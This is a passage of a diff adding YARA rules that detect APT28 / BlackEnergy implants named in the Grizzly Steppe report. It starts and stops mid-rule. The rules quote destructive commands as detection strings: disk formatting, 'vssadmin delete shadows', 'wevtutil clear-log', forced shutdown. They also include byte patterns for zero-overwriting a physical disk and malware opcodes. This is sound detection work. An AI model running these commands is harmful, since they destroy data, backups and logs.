+         67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D
+         00 65 00 00 00 75 00 73 00 62 00 6D 00 64 00 6D 00 2E 00 73 00 79 00
+         73 00 00 00 00 00 66 00 23 00 01 00 50 00 72 00 6F 00 64 00 75 00 63
+         00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00
+         6F 00 73 00 6F 00 66 00 74 00 20 00 57 00 69 00 6E 00 64 00 6F 00 77
+         00 73 00 20 00 4F 00 70 00 65 00 72 00 61 00 74 00 69 00 6E 00 67 00
+         20 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 40 00 0E 00 01
+         00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00
+         69 00 6F 00 6E 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30
+         00 2E 00 35 00 35 00 31 00 32 00 00 00 48 00 00 00 01 00 56 00 61 00
+         72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 28
+         00 08 00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00
+         6F 00 6E 00 00 00 00 00 15 00 B0 04 09 04 B0 04}
+      $b2 = {34 03 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00
+         4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00
+         00 01 00 03 00 03 00 04 00 02 00 03 00 03 00 04 00 02 00 3F 00 00 00
+         00 00 00 00 04 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+         00 94 02 00 00 00 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00
+         6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 70 02 00 00 00 00 30 00 34
+         00 30 00 39 00 30 00 34 00 65 00 34 00 00 00 4A 00 15 00 01 00 43 00
+         6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00
+         00 53 00 6F 00 6C 00 69 00 64 00 20 00 53 00 74 00 61 00 74 00 65 00
+         20 00 4E 00 65 00 74 00 77 00 6F 00 72 00 6B 00 73 00 00 00 00 00 62
+         00 1D 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00
+         69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 41 00 64 00 6F 00 62
+         00 65 00 20 00 46 00 6C 00 61 00 73 00 68 00 20 00 50 00 6C 00 61 00
+         79 00 65 00 72 00 20 00 49 00 6E 00 73 00 74 00 61 00 6C 00 6C 00 65
+         00 72 00 00 00 00 00 30 00 08 00 01 00 46 00 69 00 6C 00 65 00 56 00
+         65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 33 00 2E 00 33 00 2E
+         00 32 00 2E 00 34 00 00 00 32 00 09 00 01 00 49 00 6E 00 74 00 65 00
+         72 00 6E 00 61 00 6C 00 4E 00 61 00 6D 00 65 00 00 00 68 00 6F 00 73
+         00 74 00 2E 00 65 00 78 00 65 00 00 00 00 00 76 00 29 00 01 00 4C 00
+         65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68
+         00 74 00 00 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00
+         20 00 28 00 43 00 29 00 20 00 41 00 64 00 6F 00 62 00 65 00 20 00 53
+         00 79 00 73 00 74 00 65 00 6D 00 73 00 20 00 49 00 6E 00 63 00 6F 00
+         72 00 70 00 6F 00 72 00 61 00 74 00 65 00 64 00 00 00 00 00 3A 00 09
+         00 01 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00
+         6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 68 00 6F 00 73 00 74 00 2E
+         00 65 00 78 00 65 00 00 00 00 00 5A 00 1D 00 01 00 50 00 72 00 6F 00
+         64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00 41 00 64
+         00 6F 00 62 00 65 00 20 00 46 00 6C 00 61 00 73 00 68 00 20 00 50 00
+         6C 00 61 00 79 00 65 00 72 00 20 00 49 00 6E 00 73 00 74 00 61 00 6C
+         00 6C 00 65 00 72 00 00 00 00 00 34 00 08 00 01 00 50 00 72 00 6F 00
+         64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00
+         00 33 00 2E 00 33 00 2E 00 32 00 2E 00 34 00 00 00 44 00 00 00 00 00
+         56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00
+         00 00 00 24 00 04 00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00
+         74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 E4 04 46 45 32 58}
+      $b3 = {C8 02 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00
+         4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00
+         00 01 00 01 00 05 00 88 15 28 0A 01 00 05 00 88 15 28 0A 17 00 00 00
+         00 00 00 00 04 00 04 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+         00 28 02 00 00 01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00
+         6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 04 02 00 00 01 00 30 00 34
+         00 30 00 39 00 30 00 34 00 65 00 34 00 00 00 4C 00 16 00 01 00 43 00
+         6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00
+         00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00
+         6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00 48
+         00 10 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00
+         69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 49 00 44 00 45 00 20
+         00 50 00 6F 00 72 00 74 00 20 00 44 00 72 00 69 00 76 00 65 00 72 00
+         00 00 62 00 21 00 01 00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73
+         00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00
+         30 00 30 00 2E 00 35 00 35 00 31 00 32 00 20 00 28 00 78 00 70 00 73
+         00 70 00 2E 00 30 00 38 00 30 00 34 00 31 00 33 00 2D 00 30 00 38 00
+         35 00 32 00 29 00 00 00 00 00 4A 00 13 00 01 00 4C 00 65 00 67 00 61
+         00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 00 00
+         43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74 00 20 00 28 00 43
+         00 29 00 20 00 32 00 30 00 30 00 39 00 00 00 00 00 66 00 23 00 01 00
+         50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00
+         00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00
+         57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 20 00 4F 00 70 00 65 00 72
+         00 61 00 74 00 69 00 6E 00 67 00 20 00 53 00 79 00 73 00 74 00 65 00
+         6D 00 00 00 00 00 40 00 0E 00 01 00 50 00 72 00 6F 00 64 00 75 00 63
+         00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 35 00 2E 00
+         31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00
+         00 44 00 00 00 01 00 56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00
+         6E 00 66 00 6F 00 00 00 00 00 24 00 04 00 00 00 54 00 72 00 61 00 6E
+         00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 E4 04 }
+      $b4 = {9C 03 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00
+         4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00
+         00 01 00 01 00 06 00 01 40 B0 1D 01 00 06 00 01 40 B0 1D 3F 00 00 00
+         00 00 00 00 04 00 04 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+         00 FA 02 00 00 01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00
+         6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 D6 02 00 00 01 00 30 00 34
+         00 30 00 39 00 30 00 34 00 42 00 30 00 00 00 4C 00 16 00 01 00 43 00
+         6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00
+         00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00
+         6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00 58
+         00 18 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00
+         69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 52 00 65 00 67 00 69
+         00 73 00 74 00 72 00 79 00 20 00 45 00 64 00 69 00 74 00 6F 00 72 00
+         20 00 55 00 74 00 69 00 6C 00 69 00 74 00 79 00 00 00 6C 00 26 00 01
+         00 46 00 69 00 6C 00 65 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00
+         00 00 00 00 36 00 2E 00 31 00 2E 00 37 00 36 00 30 00 30 00 2E 00 31
+         00 36 00 33 00 38 00 35 00 20 00 28 00 77 00 69 00 6E 00 37 00 5F 00
+         72 00 74 00 6D 00 2E 00 30 00 39 00 30 00 37 00 31 00 33 00 2D 00 31
+         00 32 00 35 00 35 00 29 00 00 00 3A 00 0D 00 01 00 49 00 6E 00 74 00
+         65 00 72 00 6E 00 61 00 6C 00 4E 00 61 00 6D 00 65 00 00 00 72 00 65
+         00 67 00 65 00 64 00 74 00 33 00 32 00 2E 00 65 00 78 00 65 00 00 00
+         00 00 80 00 2E 00 01 00 4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70
+         00 79 00 72 00 69 00 67 00 68 00 74 00 00 00 A9 00 20 00 4D 00 69 00
+         63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F 00 72 00 70
+         00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 2E 00 20 00 41 00 6C 00
+         6C 00 20 00 72 00 69 00 67 00 68 00 74 00 73 00 20 00 72 00 65 00 73
+         00 65 00 72 00 76 00 65 00 64 00 2E 00 00 00 42 00 0D 00 01 00 4F 00
+         72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E
+         00 61 00 6D 00 65 00 00 00 72 00 65 00 67 00 65 00 64 00 74 00 33 00
+         32 00 2E 00 65 00 78 00 65 00 00 00 00 00 6A 00 25 00 01 00 50 00 72
+         00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D 00 65 00 00 00 00 00
+         4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 AE 00 20 00 57
+         00 69 00 6E 00 64 00 6F 00 77 00 73 00 AE 00 20 00 4F 00 70 00 65 00
+         72 00 61 00 74 00 69 00 6E 00 67 00 20 00 53 00 79 00 73 00 74 00 65
+         00 6D 00 00 00 00 00 42 00 0F 00 01 00 50 00 72 00 6F 00 64 00 75 00
+         63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 36 00 2E
+         00 31 00 2E 00 37 00 36 00 30 00 30 00 2E 00 31 00 36 00 33 00 38 00
+         35 00 00 00 00 00 44 00 00 00 01 00 56 00 61 00 72 00 46 00 69 00 6C
+         00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 24 00 04 00 00 00 54 00
+         72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00
+         00 09 04 B0 04}
+      $b5 = {78 03 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00
+         4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00
+         00 01 00 00 00 05 00 6A 44 B1 1D 00 00 05 00 6A 44 B1 1D 3F 00 00 00
+         00 00 00 00 04 00 04 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+         00 D6 02 00 00 01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00
+         6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 B2 02 00 00 01 00 30 00 34
+         00 30 00 39 00 30 00 34 00 42 00 30 00 00 00 4C 00 16 00 01 00 43 00
+         6F 00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00
+         00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00
+         6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00 4E
+         00 13 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00
+         69 00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 57 00 69 00 6E 00 64
+         00 6F 00 77 00 73 00 AE 00 53 00 79 00 73 00 55 00 74 00 69 00 6C 00
+         69 00 74 00 79 00 00 00 00 00 72 00 29 00 01 00 46 00 69 00 6C 00 65
+         00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00
+         30 00 2E 00 37 00 36 00 30 00 31 00 2E 00 31 00 37 00 35 00 31 00 34
+         00 20 00 28 00 77 00 69 00 6E 00 37 00 73 00 70 00 31 00 5F 00 72 00
+         74 00 6D 00 2E 00 31 00 30 00 31 00 31 00 31 00 39 00 2D 00 31 00 38
+         00 35 00 30 00 29 00 00 00 00 00 30 00 08 00 01 00 49 00 6E 00 74 00
+         65 00 72 00 6E 00 61 00 6C 00 4E 00 61 00 6D 00 65 00 00 00 6D 00 73
+         00 69 00 65 00 78 00 65 00 63 00 00 00 80 00 2E 00 01 00 4C 00 65 00
+         67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00 74
+         00 00 00 A9 00 20 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00
+         74 00 20 00 43 00 6F 00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F
+         00 6E 00 2E 00 20 00 41 00 6C 00 6C 00 20 00 72 00 69 00 67 00 68 00
+         74 00 73 00 20 00 72 00 65 00 73 00 65 00 72 00 76 00 65 00 64 00 2E
+         00 00 00 40 00 0C 00 01 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00
+         6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 6D 00 73
+         00 69 00 65 00 78 00 65 00 63 00 2E 00 65 00 78 00 65 00 00 00 58 00
+         1C 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00 61 00 6D
+         00 65 00 00 00 00 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 53 00
+         79 00 73 00 55 00 74 00 69 00 6C 00 69 00 74 00 79 00 20 00 2D 00 20
+         00 55 00 6E 00 69 00 63 00 6F 00 64 00 65 00 00 00 42 00 0F 00 01 00
+         50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69
+         00 6F 00 6E 00 00 00 35 00 2E 00 30 00 2E 00 37 00 36 00 30 00 31 00
+         2E 00 31 00 37 00 35 00 31 00 34 00 00 00 00 00 44 00 00 00 01 00 56
+         00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00
+         00 00 24 00 04 00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74
+         00 69 00 6F 00 6E 00 00 00 00 00 09 04 B0 04}
+      $b6 = {D4 02 34 00 00 00 56 00 53 00 5F 00 56 00 45 00 52 00 53 00 49 00
+         4F 00 4E 00 5F 00 49 00 4E 00 46 00 4F 00 00 00 00 00 BD 04 EF FE 00
+         00 01 00 01 00 05 00 88 15 28 0A 01 00 05 00 88 15 28 0A 17 00 00 00
+         00 00 00 00 04 00 04 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00
+         00 34 02 00 00 01 00 53 00 74 00 72 00 69 00 6E 00 67 00 46 00 69 00
+         00 65 00 49 00 6E 00 66 00 6F 00 00 00 10 02 00 00 01 00 30 00 34 00
+         30 00 39 00 30 00 34 00 65 00 34 00 00 00 4C 00 16 00 01 00 43 00 6F
+         00 6D 00 70 00 61 00 6E 00 79 00 4E 00 61 00 6D 00 65 00 00 00 00 00
+         4D 00 69 00 63 00 72 00 6F 00 73 00 6F 00 66 00 74 00 20 00 43 00 6F
+         00 72 00 70 00 6F 00 72 00 61 00 74 00 69 00 6F 00 6E 00 00 00 4E 00
+         13 00 01 00 46 00 69 00 6C 00 65 00 44 00 65 00 73 00 63 00 72 00 69
+         00 70 00 74 00 69 00 6F 00 6E 00 00 00 00 00 53 00 65 00 72 00 69 00
+         61 00 6C 00 20 00 50 00 6F 00 72 00 74 00 20 00 44 00 72 00 69 00 76
+         00 65 00 72 00 00 00 00 00 62 00 21 00 01 00 46 00 69 00 6C 00 65 00
+         56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 00 00 35 00 2E 00 31
+         00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 20 00
+         28 00 78 00 70 00 73 00 70 00 2E 00 30 00 38 00 30 00 34 00 31 00 33
+         00 2D 00 30 00 38 00 35 00 32 00 29 00 00 00 00 00 4A 00 13 00 01 00
+         4C 00 65 00 67 00 61 00 6C 00 43 00 6F 00 70 00 79 00 72 00 69 00 67
+         00 68 00 74 00 00 00 43 00 6F 00 70 00 79 00 72 00 69 00 67 00 68 00
+         74 00 20 00 28 00 43 00 29 00 20 00 32 00 30 00 30 00 34 00 00 00 00
+         00 6A 00 25 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 4E 00
+         61 00 6D 00 65 00 00 00 00 00 4D 00 69 00 63 00 72 00 6F 00 73 00 6F
+         00 66 00 74 00 AE 00 20 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00
+         AE 00 20 00 4F 00 70 00 65 00 72 00 61 00 74 00 69 00 6E 00 67 00 20
+         00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 40 00 0E 00 01 00
+         50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69
+         00 6F 00 6E 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00
+         2E 00 35 00 35 00 31 00 32 00 00 00 44 00 00 00 01 00 56 00 61 00 72
+         00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 24 00
+         04 00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F
+         00 6E 00 00 00 00 00 09 04 E4 04}
+   condition:
+      (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and
+      (((any of ($a*)) and (uint32(uint32(0x3C)+8) == 0x00000000)) or
+      (for any of ($b*): ($ in (uint32(uint32(0x3C)+248+(40*(uint16(uint32(0x3C)+6)-1)+20))..(uint32(uint32(0x3C)+248+(40*(uint16(uint32(0x3C)+6)-1)+20))+uint32(uint32(0x3C)+248+(40*(uint16(uint32(0x3C)+6)-1)+16)))))))
+}
+
+*/
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-02-12
+   Identifier: Grizzly Steppe Alternatives
+*/
+
+/* Alternative Rule Set ---------------------------------------------------- */
+
+rule IMPLANT_4_v3_AlternativeRule : HIGHVOL {
+   meta:
+      description = "Detects a group of different malware samples"
+      comment = "Alternative rule - not based on the original samples but samples on which the original rule matched"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "US CERT Grizzly Steppe Report"
+      date = "2017-02-12"
+      hash1 = "2244fe9c5d038edcb5406b45361613cf3909c491e47debef35329060b00c985a"
+      id = "47e9028b-7718-5372-8a1a-94c208c29ed4"
+   strings:
+      $op1 = { 33 c9 41 ff 13 13 c9 ff 13 72 f8 c3 53 1e 01 00 } /* Opcode */
+      $op2 = { 21 da 40 00 00 a0 40 00 08 a0 40 00 b0 70 40 00 } /* Opcode */
+   condition:
+      ( uint16(0) == 0x5a4d and all of them )
+}
+
+/* Alternative Rule Set ---------------------------------------------------- */
+
+rule IMPLANT_4_v4 {
+   meta:
+      description = "BlackEnergy / Voodoo Bear Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "27a5fb98-fe8b-561c-b490-e04257e7dd1c"
+   strings:
+      $DK_format1 = "/c format %c: /Y /Q" ascii
+      $DK_format2 = "/c format %c: /Y /X /FS:NTFS" ascii
+      $DK_physicaldrive = "PhysicalDrive%d" wide
+      $DK_shutdown = "shutdown /r /t %d"
+   condition:
+      uint16(0) == 0x5A4D and all of ($DK*)
+}
+
+rule IMPLANT_4_v5 {
+   meta:
+      description = "BlackEnergy / Voodoo Bear Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "d203f3c6-4e86-5632-ad5d-61763ee59bbe"
+   strings:
+      $GEN_HASH = {0F BE C9 C1 C0 07 33 C1}
+   condition:
+      (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or
+      uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or
+      uint32(1) == 0x6674725C) and all of them
+}
+
+/* TOO MANY FALSE POSITIVES
+
+rule IMPLANT_4_v6 {
+   meta:
+      description = "BlackEnergy / Voodoo Bear Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+   strings:
+      $STR1 = "DispatchCommand" wide ascii
+      $STR2 = "DispatchEvent" wide ascii
+   condition:
+      (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or
+      uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+
+*/
+
+rule IMPLANT_4_v7 {
+   meta:
+      description = "BlackEnergy / Voodoo Bear Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "a0dda12a-22b6-53e6-9528-8c178ad871ad"
+   strings:
+      $sb1 = {C7 [1-5] 33 32 2E 64 C7 [1-5] 77 73 32 5F 66 C7 [1-5] 6C 6C}
+      $sb2 = {C7 [1-5] 75 73 65 72 C7 [1-5] 33 32 2E 64 66 C7 [1-5] 6C 6C}
+      $sb3 = {C7 [1-5] 61 64 76 61 C7 [1-5] 70 69 33 32 C7 [1-5] 2E 64 6C 6C}
+      $sb4 = {C7 [1-5] 77 69 6E 69 C7 [1-5] 6E 65 74 2E C7 [1-5] 64 6C 6C}
+      $sb5 = {C7 [1-5] 73 68 65 6C C7 [1-5] 6C 33 32 2E C7 [1-5] 64 6C 6C}
+      $sb6 = {C7 [1-5] 70 73 61 70 C7 [1-5] 69 2E 64 6C 66 C7 [1-5] 6C}
+      $sb7 = {C7 [1-5] 6E 65 74 61 C7 [1-5] 70 69 33 32 C7 [1-5] 2E 64 6C 6C}
+      $sb8 = {C7 [1-5] 76 65 72 73 C7 [1-5] 69 6F 6E 2E C7 [1-5] 64 6C 6C}
+      $sb9 = {C7 [1-5] 6F 6C 65 61 C7 [1-5] 75 74 33 32 C7 [1-5] 2E 64 6C 6C}
+      $sb10 = {C7 [1-5] 69 6D 61 67 C7 [1-5] 65 68 6C 70 C7 [1-5] 2E 64 6C 6C}
+   condition:
+      (uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or
+      uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and 3 of them
+}
+
+rule IMPLANT_4_v8 {
+   meta:
+      description = "BlackEnergy / Voodoo Bear Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "1e82d105-8dda-55c9-aec0-8f9f02c3a94e"
+   strings:
+      $f1 = {5E 81 EC 04 01 00 00 8B D4 68 04 01 00 00 52 6A 00 FF 57 1C 8B D4
+         33 C9 03 D0 4A 41 3B C8 74 05 80 3A 5C 75 F5 42 81 EC 04 01 00 00 8B
+         DC 52 51 53 68 04 01 00 00 FF 57 20 59 5A 66 C7 04 03 5C 20 56 57 8D
+         3C 03 8B F2 F3 A4 C6 07 00 5F 5E 33 C0 50 68 80 00 00 00 6A 02 50 50
+         68 00 00 00 40 53 FF 57 14 53 8B 4F 4C 8B D6 33 DB 30 1A 42 43 3B D9
+         7C F8 5B 83 EC 04 8B D4 50 6A 00 52 FF 77 4C 8B D6 52 50 FF 57 24 FF
+         57 18}
+      $f2 = {5E 83 EC 1C 8B 45 08 8B 4D 08 03 48 3C 89 4D E4 89 75 EC 8B 45 08
+         2B 45 10 89 45 E8 33 C0 89 45 F4 8B 55 0C 3B 55 F4 0F 86 98 00 00 00
+         8B 45 EC 8B 4D F4 03 48 04 89 4D F4 8B 55 EC 8B 42 04 83 E8 08 D1 E8
+         89 45 F8 8B 4D EC 83 C1 08 89 4D FC}
+      $f3 = {5F 8B DF 83 C3 60 2B 5F 54 89 5C 24 20 8B 44 24 24 25 00 00 FF FF
+         66 8B 18 66 81 FB 4D 5A 74 07 2D 00 00 01 00 EB EF 8B 48 3C 03 C8 66
+         8B 19 66 81 FB 50 45 75 E0 8B E8 8B F7 83 EC 60 8B FC B9 60 00 00 00
+         F3 A4 83 EF 60 6A 0D 59 E8 88 00 00 00 E2 F9 68 6C 33 32 00 68 73 68
+         65 6C 54 FF 57}
+      $a1 = {83 EC 04 60 E9 1E 01 00 00}
+   condition:
+      $a1 at pe.entry_point or any of ($f*)
+}
+
+rule IMPLANT_4_v9 {
+   meta:
+      description = "BlackEnergy / Voodoo Bear Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "a404212a-d9ef-54c1-bbf8-a213ec094f18"
+   strings:
+      $a = "wevtutil clear-log" ascii wide nocase
+      $b = "vssadmin delete shadows" ascii wide nocase
+      $c = "AGlobal\\23d1a259-88fa-41df-935f-cae523bab8e6" ascii wide nocase
+      $d = "Global\\07fd3ab3-0724-4cfd-8cc2-60c0e450bb9a" ascii wide nocase //$e = {57 55 33 c9 51 8b c3 99 57 52 50}
+      $openPhysicalDiskOverwriteWithZeros = { 57 55 33 C9 51 8B C3 99 57 52
+         50 E8 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 83 C4 10 84 C0 75 21 33 C0 89
+         44 24 10 89 44 24 14 6A 01 8B C7 99 8D 4C 24 14 51 52 50 56 FF 15 ??
+         ?? ?? ?? 85 C0 74 0B 83 C3 01 81 FB 00 01 00 00 7C B6 }
+      $f = {83 c4 0c 53 53 6a 03 53 6a 03 68 00 00 00 c0}
+   condition:
+      ($a and $b) or $c or $d or ($openPhysicalDiskOverwriteWithZeros and $f)
+}
+
+rule IMPLANT_4_v10 {
+   meta:
+      description = "BlackEnergy / Voodoo Bear Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "75c266ca-a27f-5ffe-a438-c35bbacfa70c"
+   strings:
+      $ ={A1B05C72}
+      $ ={EB3D0384}
+      $ ={6F45594E}
+      $ ={71815A4E}
+      $ ={D5B03E72}
+      $ ={6B43594E}
+      $ ={F572993D}
+      $ ={665D9DC0}
+      $ ={0BE7A75A}
+      $ ={F37443C5}
+      $ ={A2A474BB}
+      $ ={97DEEC67}
+      $ ={7E0CB078}
+      $ ={9C9678BF}
+      $ ={4A37A149}
+      $ ={8667416B}
+      $ ={0A375BA4}
+      $ ={DC505A8D}
+      $ ={02F1F808}
+      $ ={2C819712}
+   condition:
+      uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550 and 15 of them
+}
+
+rule IMPLANT_4_v11 {
+   meta:
+      description = "BlackEnergy / Voodoo Bear Implant by APT28"
+      author = "US CERT"
+      reference = "https://www.us-cert.gov/ncas/current-activity/2017/02/10/Enhanced-Analysis-GRIZZLY-STEPPE"
+      date = "2017-02-10"
+      score = 85
+      id = "e5fb0843-20f7-56a0-8eea-0db7cef7f610"
+   strings:
+      $ = "/c format %c: /Y /X /FS:NTFS"
+      $ = ".exe.sys.drv.doc.docx.xls.xlsx.mdb.ppt.pptx.xml.jpg.jpeg.ini.inf.ttf" wide
+      $ = ".dll.exe.xml.ttf.nfo.fon.ini.cfg.boot.jar" wide
